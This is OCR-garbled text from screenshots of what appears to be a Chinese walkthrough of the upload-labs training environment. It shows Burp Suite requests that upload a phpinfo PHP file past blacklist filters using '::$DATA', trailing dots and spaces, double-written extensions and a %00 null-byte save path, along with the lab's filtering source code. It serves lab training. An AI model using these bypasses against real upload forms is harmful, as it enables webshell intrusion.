text/html, application/xhtml+xml, application/mml; g=0. 9, image/avif, image/webp, */; q=0. &
Accept-Language: zh-Cl, zh; ¢=0. 8, zh-TW; g=0. 7, zh-HK ; g=0. 5, en-US, g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form—data;
boundary
2 Content-Length: 395
9 Origin: http://192. 168.93.128
10 Connection: close
11 Referer: http://192.168. 93. 128/Pass—08/index. php
12 Upgrade-Insecure-Requests: 1

-

T9166158242377134681 757164617

14 T91661582423771346817571
15 Content-Disposition: form-data; name="upload_file”; f:
16 Content-Type: application/octet-stream

4617
lename="phpinfo. php: :$DATA

§ <7?php phpinfo(); 7>

T9166158242377134681757164617

Content-Disposition: form—data; name="submit”

24 Lt
25 79166158242377134681757164617—

Windows FREFEEE “DAT A% ottt At .

M AMA

IER(Respons)
Z{k(Pretty) [Fa(Raw) 165 (Hex) BRI (Render) & (Headers) no=
54 <h3>
L%
</h3>
55 <pr
LA <code>
webshell
</code>
FIE 5%
<>
56 <f1i>
57 <lix
58 <h3>
Sl E
</h3>
59 <form enctype="multipart/form-data” method="post” onsubmit="return checkFile( ">
60 <pr
IR REE LA E R <>
61 <input class="input_file” type="file” name="upload file"/>
62 <input class="button” type="submit” name="submit” value=" Lf%"/>
63 <fform>
64 <div id="msg">
65 fdiv>
66 <div id=[img">
87 <img spe=".. /upload/202204172144341118. php|: : §data” width="250px" />
<fdiv>
68 </1i>
69 <fol>
70 <Jdive

£33

WiRE(Respons) Inspectol
w \J:l?.ﬁljaw) 16i#51(Hex) BAIFE (Render) E#L(Headers) n = Request At
48 ful> Request Q
49 <fdivy Request Bt
30
51 <div 1d="upload_pansl®> Request C
2 <ol
53 <11
54 <h3> EL
1%
</h3> Response
55 <>
Ef—4<code>
webshell
</code>
B 5555
</p>
56 </1li>
57 <1i>
58 <h3>
LA
</h3>
59 <form enctype="multipart/form-data” method="post” ensubmit="retuwrn checkFile()">
60 <p>
HIERE EEMEA: <>
61 <input class="input_file” type="file” name="upload_file"/>
62 <input class="button” type="submit” name="submit” value="_L{"/>
63 </form>
64 <div id="msg">
85 div
66 <div id="img">
67 <img sre=".. /fupload/202204171334491135. *| width="230px" />

Se

Re

Re

Re

Re

Re



vulnpack
WA
B W
) B5

@ OneDrive

O | e
EDRESE ]

PNE b=

phpinfof)

upload

HE BE
« WWW > upload

~

| | 202204172142336367

| ] 202204172144341118.php

O B 192.168.93.128/upload/202204172144341118.php

[¢] 0 #="upload®

EHEL =il

2022/4/17 21:42
202274017 21:44

Foh

1KB
1KB

TR Z RN %81~%99 #EATurlgmbd f5 vl PAGeT «

PHP Version 5.2.17 W

System ‘Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26:08

Configure cscript /nologo configure js “—enabla-snapshot-build” “—enable-debug-pack” “—with-

Command snapshot-template=d:\php-sdkisnap_5_2wcBlBB\template” “—with-php-build=d\php-
sdkisnap_5_: _build” "-with-pd =Di\php- ient10
\sdk shared” "—with-0cig=D:\php-sdkioraclelinstantclient10\s dk shared” “~without-
pi3web”

Server API Apache 2.0 Handler

Virtual Directory enabled
Support
Configuration File |C:Windows
(php.ini) Path
Loaded E:\phpstudy\PHPTL pload-lab: php.ini
Configuration File
(none)

Scan this dir for
files

additional .i




EH(Req.. EuEE HE(Status)  FEIE(Err.. #=;  EE(length) iFFE(Comment)
0 200 3814
1 o 200 381 %80 FHeELES
2 u] 200 B

3 u] 200 B
4 u] 200 B

5 u] 200 B
6 u] 200 B

7 o 200 3814
8 u] 200 3814
9 u] 200 3814
10 u] 200 3814
1 u] 200 3814
12 u] 200 3814
13 u] 200 3814
14 u] 200 3814
15 u] 200 3814
16 u] 200 3814
17 u] 200 3814
18 u] 200 3814
19 u] 200 3814
20 u] 200 B

E#H(Request) R (Respons)

EfkiPretty)  [FEf&(Raw) 16353 (Hex) BRI RS (Render)
—— rrerue
A <div id="msg">
<fdive
<div id="{imp=">

<img sre=".. /upload/202204172200456696. php ~ width="250px" />

fdive
<fli>
<fol>
fdive
71
72 fdive
7 <div id="footer”>
T4 <center>

Copyrightinbsp; @nbsp; <span id="copyright_time”>

<fspan>

&nbsp; by&nbsp; <a href="http://gv7.me” target="_bank">
cOnyl

P PN

O & 192.168.93.128/upload/202204172200456696.php

PHP Version 5.2.17

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 6 2011 17:26:08

Configure cscript /nologo configure js "—enabl pshot-build™ " ble-debug-pack” "—with-

Command snapshattemplate=d\php-sdkisnap_5_2WwcEBE\emplate” "—with-php-build=diphp-
sdKisnap_5_ _build” —with-pda-oci=D-\php 1stantclient10
\sdk shared” "—with-oci8=D-\php-sdk\oraclelinstaniclient10\s dk,shared™ "—without-
pizweb”

Server APl Apache 2.0 Handler

Virtual Directory  |enabled

Support

Configuration File |C:\Windows

(php.ini) Path




EH(Req... EWEE {RZR(Status) f#E(Err.. 3B E£E(Length) EE(Comment)

0 200 3814
1 O 200 3814
2 0 200 3814
3 O 200 3814
4 0 200 3814
5 O 200 3814 %84
6 0 200 3814
7 O 200 3814
a 0 200 3814
9 O 200 3814
10 0 200 3814
11 O 200 3814
12 0 200 3814
13 O 200 3814
14 0 200 3814
15 O 200 3814
16 O 200 3814
17 0 200 3814
18 O 200 3814
19 0 200 3814
20 O 200 3814

E#(Request) EiZ(Respons)

S{k(Pretty) [FFA(Raw) 16i8%](Hex) IERFE (Render)

60 <px
HERE FEMER: <p>

61 <input class="input_file” type="file” name="upload file"/>

62 <input class="button” type="submit” name="submit” value=" L{£"/>

63 </form>

64 <div id="msg" >

65 <fdive

66 g d="d e

67 <img sre=".. fupload/202204172200454790. php * width="250px" />
<fdive

phpinfo0

O B 192168.93.128/upload/202204172200454790.php

PHP Version 5.2.17

System ‘Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26.08

Configure cscript /nologo configure js "—enable-snapshot-build” "—enable-debug-pack” “—with-

Command snapshot-template=d-\php-sdkisnap_5_2wchuBE\template™ "—-with-php-build=d-\php-
sdkisnap_5_ _build” "—with-pda-oci=D\php 10
\sdk shared” “—with-ocig=D:\php 10\sdkshared” “—without-
pi3web”

Server API Apache 2.0 Handler

Virtual Directory | enabled

Support

Configuration File |CWindows




false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) {
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtm!",".pht",".pHp",".pHP5",".pHP4",".pHP3",".pHP2",". HtmI",".Htm

" pHtmI",".jsp",".jspa",".jspx"," jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtmI",".asp",".aspx",".asa",".asax",".ascx",".ashx"
".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
trim( ['upload_file']['name']);
deldot( )i/ R XA AR SR T
strrchr( )
strtolower ( ); NE# R DG

trim( ) /B ELEE

if (lin_array( , ) {
['upload_file'|['tmp_name'];
UPLOAD_PATH."/".date("YmdHis").rand(1000,9999)
if (move_uploaded_file( , ) {
true;
} else {
"B

¥

} else {
R BA S BAEL
ki
} else {
UPLOAD_PATH . 'S RATELE, EF LAIE!

# KA X FAEH nginx #9 .user.ini 108, JRIFEEAE T strrehr() LR _EEFs * SHIE .

XK Windows T HIEITIERELZ K, LinuxFHI1E, BEERB2TET G, YilA BE KRR 16 RE .

T BEHFRT

BEME LA, BRIMINAER, VIPHRXERRA R, XREFBA L.



O==  jgector w3

53 (Request) Bz (Respons)
Eiprey)  BRaw)  16E3(Hey)  Cookies = EpPrewy)  BHRaw)  1628IHex)  WAABRender)  BdthiHeaders) N = | Request Attributes
1 POST /Pass-09/index. php HITP/1.1 wepsneLL

<[code>

2 Host: 192.168.93.128 P Request Cuery Parameters
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64; rv:100.0) Gecko/20100101 Firefox/100.0 i

4 Accept: test/html, application/xhtul+ml, application/ml;q=0. 9, inage/avif, image/webp, */%; a=0. § . o>
5 Accept-Language: zh-CI, zh: a=0. 8, zh=TW; 0. 7, zh-HK; =0. 5, en-US a=0. 3, en: a=0. 2 > o Reduest Body Parameters
6 Accept-Encoding: gzip, deflate o i
7 Content-Type: multipart/form-data; o8 <th> . Request Cookies.
boundar: 2201570483341 0678202053572186 </hsi>§E
o o 168, 95, 128 5 <form enctype="mul tipart/form-data” method="post” onsubmit="return checkFile()"> e
10 Comection: clese o0 @ X Response Headers
11 Referer: http://192.168. 93, 128/Pass—09/index. php R WERELENET: @ P . . "
12 Uperade-Tnsectre Requests: 1 Sl anut class:llnput_flls t)"ps: fl];e name= uplDfd_f]lE l) .
s 62 <input class="button” type="submit” name="submit” value=" |{£"/>
14 ——— 2201570483341 10678202053572186 63 </f°“5‘>7, .
15 Content-Disposition: foru-data; name="upoad file”; £ilename="phpinfo. 123 o div id-moe
16 Content=Type: application/octet-stream > e
- 66 <div td="ing"> X L
18 <2php phpinfo(; 2> 67 <img sre=".. /upload/phpinfo. 123" width="250px" />
g
B <Jdiv>
21 - 2201570483341 10676202053572186 o /<{h>
22 Content-Disposition: form-data; name="submit” o cfolr
70 <div>
1
S o 72 <fdivy
2201570483341 10678202053572186 o D,
74 <center>
Copyrighténbsp: @nbsp: <span id="copyright_time”>
</span>
&nbsp; bytmbsp; <a href="http://ev7.me” target="_bank”’>
conyl
fax
</center>
5 <Jdivs
76 <div class="mask”>
cldivy

S A% DR SUB SO S 00 B A S, A — T S AL

Cancel) < v

&K (Request) IERE (Respons)
FE(Raw)  168%I(Hex)  Cookies = EyPrety)  BERaw)  1688lHex)  WBRASE(Render)  ER(Headers)

1 POST /Pass—09/index. php HTTP/1.1 o

2 Host: 192.168.93.128 - /hs>

3 User—Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 20 <p>r "

4 Accept: text/html, application/xhtml+xml, application/mml;q=0.9, image/avif, image/webp, #/#;¢=0. 8 L=/ <code>

5 Accept-Language: zh—CN, zh; g=0. 8, zh-TW; ¢=0. 7, zh-HEK; ¢=0. 5, en-US; q=0. 3, en; ¢=0. 2 webshell

6 Accept-Encoding: szip, deflate <./c°fie>

7 Content-Type: multipart/form—data; Elli e N
boundary 2201570483341106878202053572186 <(p>

3 Content-Length: 389 U‘%l)

9 Origin: http://192.168.93.128 i

10 Comnection: close <h3?

11 Referer: http://192.168. 93.128/Pass-09/index. php </d:~3'f:55

ig Upgrade-InsecureRequests: 1 59 <form enctype="multipart/form-data” method="post” cnsubmit="return checkFile() ">

14 220157048334110678202053572186 60 P>

SRR EEMEN: 5>

15 Content-Disposition: form—data; name="upload_file”; filename"phpinf

16 Content-Type: application/octet-stream 61 <imput Clﬂssiinput,filE' t)"pe="fi{E” nam?=’up103d,fi19‘{> ;
17 P PP 62 <input class="button” type="submit” name="submit” value="_L:{:"/>
18 <7php phpinfo(); 7> 63 </form> .
l:‘ F P 64 <div id="msg" >
20 65 <dive
21 220157048334110676202053572186 o8 B ) et .
22 Content-Disposition: form-data; name="submit” 67 img sre=".. /upload/phpinfo.php. . * width="250px" />
23 .
24 bfk <fdive
25 220157048334110678202053572186—— (jL’ </l
69 </ol>
70 <fdivy
- PYSTIN

EERSCAEMET AN ERN AR, REE THREANZER, W TRAREALIE, REET RS/ — K.



i&k(Request) IFRY(Respons)
P Rs{(Raw) 16i2H(Hex) Cookies n = ={k(Pretty) [Exa(Raw) 16325 (Hex) BRI (Render) &L (Headers) n
1 POST /Pass—09/index. php HTTP/1.1 </h3>
2 Host: 192.168.93.128 55 <p>
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv:100.0) Gecko/20100101 Firefeox/100.0 Ef—A4~Ccode>
4 Accept: text/html, application/xhtml+xml, application/mml;q=0. 9, image/avif, image/webp, */*; q=0. 8 webshell
5 Accept-Language: zh—CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; q=0. 2 <_/CO<19>
6 Accept—Encoding: gzip, deflate FIfR 5 B
T Content-Type: multipart/form-data; <fp>
boundary 220157048334110678202053572186 Si>
& Content-Length: 388 <1i
Origin: http://192.168.93.128 <h3>
0 Commection: close F X
Referer: http://192.168. 93. 128/Pass-09/index. php </h3>

2 Upgrade-Insecure-Requests: 1

220157 4110678202053572186
5 Content-Disposition: form—data; pload_file”; filename="phpinfo. php.
6 Content-Type: application/octet

& <?php phpinfo(; 7>

220157048334110678202053572186
22 Content-Disposition: form-data; name="submit”

25 - 220157048334110678202053572186—

<form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">
<p>

="file” name="upload file"/>
bmit” name="submit” value=" F{£"/>

<input class="input_file” t
<input class="button” type=
</form>

<div id="msg">

<Jdive

e

<img sre=".. /upload/phpinfo. php.

width="250px" />

<fdivy
<Jliv
<Jol>
<fdivy

I RAEWNdows THI, XMERDEATLIGE T, REKSHEP A FMZERK.

gk (Request)

fy Fa(Raw)  168I(Hex)
POST /Pass—09/index. php HITP/1.1
Host: 192. 168. 93.128

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/zhtml+mml, application/xml;q=0.9, image/avif, image/webp, */#; g=0. &
Accept-Language: zh-CH, zh;q=0. 8, zh-TW, ¢=0. 7, zh-HK; ¢=0. 5, en-US; q=0. 3, en; ¢=0. 2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary
2 Content—Length: 388

9 Origin: http://192.168. 93.128

0 Connection: close

11 Referer: http://192.168. 93. 128/Pass—09/index. php
12 Upgrade—Insecure—Requests: 1

Cookies = n

SIS

220157048334110678202053572186

QO 8 192.168.93.128/upload/phpinfo.php

IERz(Respons)

E1h(Pretty) [Ft(Raw) 16378 (Hex) BAAERender) ERE(Headers)
1 HITP/1.1 200 0K
2 Date: Mon, 18 Apr 2022 02:00:36 GMT

Servet: Apache/2. 2. (Win32) mod_ssl/2.2.25 OpenSSL/0. 9. 8y PHP/5. 2.17
4 ¥-Powpred-By: PHP/5.2.17

Content-Length: 3370

6 Conneftion: close

T Conteht-Type: text/html;charset=utf-8

<html >
10 <head>
11 <meta http—equiv="Content-Type” content="text/html charset=utf-§"/>
12 <link rel="icon” type="image/x-icon” href="/img/favicon. png” />

12 ritlan

Windows NT DESKTOP-42010UK 6.2 build 9200

cscript /nologo configure js “—enable-snapshot-build™ "—enable-debug-pack™ "—with-
hat

\php-sdkisi .
sdkisnap_5_2wcB86\php_build™ “-with-pdo-oci=Dr\php-sdiioraclelinstantclient 10
~Dph; i

nap_5_

“~with-php-build=d\php-

10\sdk shared” “—without-

HPphp.ini

PHP Version 5.2.17
System
Build Date Jan 6 2011 17:26:08
Configure
Command
\sdk shared™ "with
pidweb”
Server API Apache 2.0 Handler
Virtual Directory  |enabled
Support
Configuration File |C:Windows
(php.ini) Path
Loaded E \PHPT
C File
Scan this dirfor | {none)
additional ini files




false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) { / X &R H T,
array(".php",".php5",".php4",".php3",".php2",
Jspa",".jspx",".jsw",".jsv",".jspf",".jtml","
,".aSp",".aSpx"',".aSa",".aSax",".aScx",' ,.aS
trim(
deldot(
strrchr(
TNt T BE il B K%

strtolower(

nn nw nn

thmI" "jsp",
".asmx",".cer","
[upload file']'name’]);
)/ B XA SR A
V) 1 BT — A A B F R
?.php #I5E##52)
), By

BF—

str_ireplace(":3DATA', ", Ve
) /B EEE

trim(

if (!in_array( ) {
['upload_file'|['tmp_name'];
UPLOAD_PATH.'/"
if (move_uploaded_file( , ) {
true;
} else {
'EAEHE
ki
} else {
SRR S BAEL
ki
} else {

UPLOAD_PATH . 'St RATFLE, BT TAIZR!

FHik: 8T trimB . deldoteh F M strrchrig 3

FEfEsE Ef—AshelsefF, FEIWIN , BLAE

i&K(Request)

.user.ini JfFHTH B E /TR F ] 42 apache AU .user.i

ERIr & CHrLLE B2

| XPERAA M

L TR E AN, —1

21 4 SDATA

XEphp KT it T

IERi(Respons)

EdGIE [FE&(Raw) 16iE8(Hex) Cookies in = FE{k(Pretty) FEE(Raw) 168 (Hex) TS (Render) E#k(Headers)
1 POST /Pass-10/index. php HTTP/1.1 <fh3>
2 Host: 192.168.93.128 55 <p>
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Efe—4<code>
4 Accept: text/html, application/zhtml+xml, application/mml;q=0. 9, image/avif, image/webp, #/+#;q=0. 8 webshell
5 Accept-Language: zh-CN, zh; q=0. 8, zh~TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 </code>
6 Accept-Encoding: gzip, deflate FIfR %A%
7 Content-Type: multipart/form-data; <fp>
houndary 220157048334110678202053572186 56 <flix
5 Content-Length: 388 57 <1i>
9 Origin: http://192.168. 93.128 5: <h3>
10 Comnection: close Ll
11 Referer: http://192.168. 93.128/Pass-10/1index. php </h3>
12 Upgrade-Insecure-Requests: 1 5 <form enctype="multipart/form-data” method="post”>
13 5
14 2201570483341106782(20535721§ & F: <p>
15 Content-Disposition: form—data; name="upload_fild"; filengme="phpinfo.php. .| " 61 <input el “input_file” type="file” name="upldad_file’/>
16 Content-Type: application/octet-stream 62 <input class="button” type="submit” name="submiq" value=" L{&"/>
17 </form>
18 <7php phpinfe(; 7 <div id="msg">
19 <fdive
20 Hv—id="tme"
_l 2201570483341106782(2033572186 7 <img sre=".. fupload/info.. .~ Wil{th=’:30p_‘.' />
22 Content-Disposition: form-data; name="submit”
3 dive
24 btk </li>
25 220157048334110678202053572186—— <fol>
70 <fdivy
71
72 <fdiv>
73 <div id="footer™>
74 {center>

Copyright&nbsp; @mbsp; <span id="copyright_time”>
4

.ascx,

#deldot

html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm
""jSpx",".jSpa",".jSw",".jSv"," jSpf",".jHtml",".asp",".aspx",".asa",".asax","
S .CEr",".sWi ",".svvf",".htaccess );

.ashx"

EBT,




< v
iF*k(Request) IR (Respons)
[FrA(Raw) 163881 (Hex) Cookies B n = Elk(Pretty) [ (Raw) 16iE%(Hex) IAREAE (Render) B®R*E(Headers)
1 POST /Pass—10/index.php HTTP/1.1 EAEIX
2 Hest: 192.168. 93.128 </h3>
5 User—Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; =64; rv:100.0) Gecko/20100101 Firefox/100.0 <form enctype="multipart/form-data” method="post”>
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*; q=0. 8 <p>
5 Accept-Language: zh—CHN, zh; ¢=0. 8, zh-TW; g=0. 7, zh~HK: g=0. 5, en-US; ¢=0. 3, en; ¢=0. 2 R LENEN: o>

6 Accept—Encoding: gzip, deflate

7 Content-Type: multipart/form—data;
boundary

& Content-Length: 387

Origin: http://192.168.93.128

0 Commection: close

Referer: http://192.168. 93. 128/Pass—10/index. php

2 Upgrade-Insecure-Requests: 1

220157048334110678202053572186

220157048334110678202053572186
15 Content-Disposition: form—data; name="upload_file”;| filename="phpinfo. pphphp”
6 Content-Type: application/octet—stream

8 <?php phpinfo(); 7>

220157048334110678202053572186
Content-Disposition: form—data; name="submit”

25 220157048334110678202053572186—

A

WHIEFSGN, XRBERGHATEALIERET, JiFshellukBIw]

QO 8 192.168.93.128/upload/info.php

<input class="input_file” type="file” name="upload_file"/>
<input class="button” type="submit” name="submit” value=" L {L"/>
</form>
<div id="msg">

<div 1d="img">
<img sre=".. fupload/info. php” width="250px" />

Idive
<fli>
<fol>
<fdiv>

<fdive
<div id="footer”>
<center>
Copyrighténbsp; @nbsp; <span id="copyright_time”>
</span>
&nbsp; by&nbsp;<a href="http://gv7.me” target="_bank”>
clnyl
<fa>
</center>

{php.ini) Path

PHP Version 5.2.17 W

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 6 2011 17:26.08

Configure cscript inologo configure js "—enable-snapshot-build” "—enable-debug-pack™ "—with-

Command snapshot- plate=d:\php-sdki p_5 ! " "—with-php-build=d:\php-
sdkisnap_5_24 p_build™ "—with-pd =D:\php- 10
\sdk,shared” “—with-o0cig=D:\php-sdkoraclelinstantclient] 0\s dk shared” “—without-
pidweb”

Server AP| Apache 2.0 Handler

Virtual Directory  |enabled

Support

Configuration File |C\Windows

Loaded
Configuration File

E:\phpstudyPHPTutorialWWiWiupload-labs-enviPHP\php.ini

Scan this dir for
additional .ini files

(none)

Titk: RK@RNE s

Pass-11
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iz#k(Request) IERI(Respons)
etty) FfRaw) 1638 (Hex) Cookies in = El(Pretty) [Ef&(Raw) 16:#80(Hex) BRI E (Render) ERk(Headers) n =
1 POST /Pass-11/index. php| HTTP/1. 1 webshall
2 Host: 192.168.93.128 (/Coég)
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win84; x84; rv:100.0) Gecko/20100101 Firefox/100.0 Eead
4 Accept: text/html, application/xhtml+ml, application/sml; q=0.9, image/avif, image/webp, */+; q=0. 8 - fp>
5 Accept-Language: zh-CN, zh;¢=0. 8, zh-TW; q=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; ¢=0. 2 o0 </11>
6 Accept-Encoding: =zip, deflate o i
~ Content-Type: multipart/formdata; 58 <h3[_>f‘,7|{
- boundary - 2201570483341106768202053572186 </hé; N
; gs?;:t ii?ﬁt}}flgg‘lﬁa 93128 §§ <f?11|>| action="?save_path=.. /upload/” enctype="multipart/form-data” method="post”>
10 Comection: close B b -
Referer: http://192.168. 93. 128/Pass—11/index. php R LR r . . .
° Upgrade-Tnsecure-Requests: 1 Cinput class="input_file" type= flle name= up!oad,flle />
<input class="button” type="submit” name="submit” value=" F{£"/>
2201570483341 1067820205357 21 86 ¢/form>
5 Content-Disposition: form-data; name="upload_file”; filanm{ phpinfo. pphphp” T;: %d:L;us‘g‘,_ [ e
6 Content-Type: application/cctet—stream J i’“ UL Ak jpel. pnel. gt £
5 ; <div id="img">
<?php phpinfo(; 2> e
<flir
2201570483341106878202053572186 <{Ql>
~ Content-Disposition: form-data; name="submit” i div>
Lt 72 <divy .
25 220157048334110678202053572186— cdiv id="footer”
<{ecenter>
Copyrighténbsp; @&nbsp; <span id="copyright_time”>
</span>
&nbsp;byknbsp; <a href="http://gv7.me” target="_bark" >
cOnyl
<far
KR —T MIME , IRESeE
Bk (Request) IR (Respons)
= E#a(Raw) 165 (Hex) Cookies B n = Eik(Pretty) Ef&(Raw) 1653 (Hex) IBRIFE (Render) #FL(Headers)
1 POST /Pass-11/index. php HTTP/1.1 </p>
2 Host: 192.168.93.128 56 <flix
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64, rv:100.0) Gecko/20100101 Firefox/100.0 57 <li>
4 Accept: text/html, application/zhtml+xml, application/xml; . 9, image/avif, image/webp, */*;q=0. & 58 <h3>
5 Accept-Language: zh-CN, zh;¢=0. 8, zh-TW: g=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; g=0. 2 (WiAF
6 Accept—Encoding: gzip, deflate </h3>
7 Content-Type: multipart/form—data; 59 <form action="7save_path=../upload/” enctype="multipart/form—(
boundarsy 220157048334110678202053572186 60 <p>
8 Content-Length: 369 IR EEME N >
9 Origin: http://192.168.93. 128 <input class="input_file” type="file” name="upload file
10 Commection: close <input class="button” type="submit” name="submit® value:
11 Referer: http://192.168. 93.128/Pass—11/1index. php </form>
12 Upgrade-Insecure-Requests: 1 div id="meg”
13 18 HAiF Ef%. dpel. pnel. gl f5 50
14 220157048334110678202053572186 /iy
15 Content—Di i1 ~data; name=’uplnad7file’;|filename='phpinfo.phpr | <div id="img" >
16 Cnntent*T)' <fdive
17 <>
§ <?php phpinfo(); 7> </ol>
<fdive
220157048334110678202053572186 <fdive
Content-Disposition: form—data; name="submit” <div id="footer”>
7 <center’
24 kA& Copyrighté&nbsp; @nbsp; <span id="copyright_time">
25 220157048334110678202053572186—— </span>
Enbsp; byBnbsp; <a href="http://gv7.me” target="_bank”>
cOnyl
<fa>

<leantary
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i&K(Request) IERI(Respons) u =
Z{k(Pretty) [Ftf(Raw) 16:25(Hex) Cookies w = Z{kiPretty) [Ei(Raw) i IBAT der) HRL(Head n
1 POST /Pass-11/index. php HTTP/1.1 - s
2 Host: 192.168.93.128 4 <he
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x84, rv:100.0) Gecko/20100101 Firefox/100.0 f£5
4 Accept: text/html, application/xhtml+smul, application/ml  q=0. 9, inage/avif, image/webp, #/%; q=0. 8 - </h3>
5 Accept-Language: zh-CH, zh; q=0. 8, h-TW; q=0. 7, zh-HK ; q=0. 5, en-US ; g=0. 3, en; q=0. 2 s RN
6 Accept-Encoding: gzip, deflate L= A-<code>
7 Content-Type: multipart/form—data; (/ws‘zs};sll
boundars 220157048334110678202053572186 ﬂ%‘i’;,&
& Content-Length: 375 e
9 Origin: http://192.168. 93.128 . <>
10 Connection: close o0 0‘}1)
11 Referer: http://192.168. 93.128/Pass-11/index. php o <li>
| Upgrade-Insecure-Requests: 1 8 <h3>
Lt
290157 ~8202 -5 </h3>
e e T 3; <fom action="7save_path.. /upload/" enctrpe="mil tipart/form-data” method="post">
. _ohes i El B
1 Content-Type: image/gif EIRE LA > )
s 61 <input class="input_file” type="file” name="upload_file"/>
1788a<php phpinfol; 7 62 <input class="button” type="submit® mame="submit’ value=" Ff5"/>
63 ¢/ form>
220157048334110676202053572186 o <div id="msg’>
Content-Disposition: form—data; name="submit” b ,f?m HALVFLAL. Jpel. pnsl. sl £ LT
24 Bft: ﬁ <di\" id="img">
25 220157045334110675202053572186—— o <fdiv>
68 <fliv
69 <fol>
70 <fdive
1
72 <fdivs
73 <div id="footer”>
T4 Ccenter>
Copyrighténbsp; @nbsp; <span id="copyright_time”>
</span>
&nbsp; byénbsp;<a href="http://gv7.me” target="_bank">
cOnyl
<fax

HEERE M7, R XHEREFENEE, REEEMKpostiER,

RSP EBIBRAE T, XA R —T %00 &l

oo |[< 17
&k (Request) WRi(Respons) a-=
Lprety)  BtARaw)  1623lHex)  Cookies B n = | Hpremy) EtiRaw)  16E#IHex) | BAASRender)  Ewk(Headers) B n
1 POST /Pass—11/indqx. php?save_path=. . /upload/phpinfo. php'00 HTTP/1.1 57 <1i>
2 Host: 192.168.93. 128 58 <h3>
3 User-Agent: Mozilla/5.0 (Windews NT 10.0; Win4; x64; rv:100.0) Gecko/20100101 Firefox/100.0 AR
4 Accept: text/html, application/xhtml+mml, application/xml;q=0. 9, image/avif, image/webp, */+; q=0. 8 </h3>
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW; g=0. 7, zh-HEK; q=0. 5, en-US; ¢=0. 3, en; ¢=0. 2 59 <form action="7?save_path=.. /upload/” enctype="multipart/form-data” method="post”>
6 Accept-Encoding: gzip, deflate 60 <p>
T Content-Type: multipart/form-data; IR LERE N >
boundary 220157048334110678202053572186 61 <input class="input_file” type="file” name="upload file"/>
3 Content-Length: 369 62 <input class="button” type="submit” name="submit”’ value=" I-{£"/>
9 Origin: http://192.168.93.128 63 </ form>
10 Comnection: close 64 <div id="msg">
11 Referer: http://192.168. 93.128/Pass—11/index. php 65 <fdivy
12 Upgrade-Insecure—Requests: 1 66 Cdiv 1=
13 87 <imgTsrc:’. . /upload/phpinfo. php/4420220418110913. png”| width="250pz" />
14 22015704833411067820205357218
15 Content-Disposition: form-data; name="upload file”; filen: <fdivy
16 Content-Type: image/png <fli>
17 <fol>
18 <?php phpinfo(); 7> <fdive
19
20 <fdiv>
F 220157048334110678202053572186 <div id="foeter”>
22 Content-Disposition: form-data; name="submit” <{center>
23 Copyrightémbsp; @nbsp; <span 1d="copyright_time">
24 bff </span>
25 220157048334110678202053572186-~ &nbsp; byénbsp; <a href="http://gv7.me” target="_bank”>
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phpinfo)

upload-labs

O 8 192.168.93.128/upload/phpinfo.php

PHP Version 5.2.17 Php

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26:08

Configure cscript /nologo configure js "—enable-snapshot-build” "—enable-debug-pack” —with-
Command snapshot-template=d\php-sdk\snap_5_2WwcBuB6\template” "—with-php-build=d:\php-

sdkisnap_5_2wcbw86\php_build" "—with-pde-oci=D:\php-sdkioraclelinstantclient10

\sdk,shared” "—with-oci8=D\php-sdkioraclelinstantclient10\sdk, shared™ "—without-

pi3web”
Server API Apache 2.0 Handler
Virtual Directory  |enabled

Support
Configuration File |C:\Windows
(php.ini) Path
Loaded E:\phpstudy\PHPTutoriaWWWiWupload-labs-enviPHP\php.ini
Configuration File

(none)

additional .ini files |(none)
parsed

RI—AFE, B, R 2B R SR U R B, RS png R Z RN SAFFER), (R HI A PLIEF §75 17 3
ANFIERA AR

pstudy » PHPTutorial » WWW » upload-labs-env » WWW » upload v | D EE" "upload”
7 . = b
|| phpinfo.php PHP ST | KB

O @ 192.168.93.128/upload/phpinfo.php/4420220418110913.png

PHP Version 5.2.17 php

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26:08

Configure cscript /nologo configure js "—enabla-snapshot-build™ “—enable-dabug-pack” "—with-

Command snapshot-template=d:\php-sdkisnap_5. mca\xaﬁlmmplale “—with-php-build= d\phrk
sdkisnap_5_ p_build”™ “—with-pds
\sdk,shared” "—with-oci8=D: \pnp—sdk\nrac\s\lnstamchanﬂ O\sdk,shared” "—wm'mul-
pi3web”

Server AP Apache 2.0 Handler

Virtual Directory  |enzabled

Support

Configuration File |C:windows
(php.ini) Path
Loaded E\php PHPTUI p {abs-enviPHP\php.ini
[of ion File

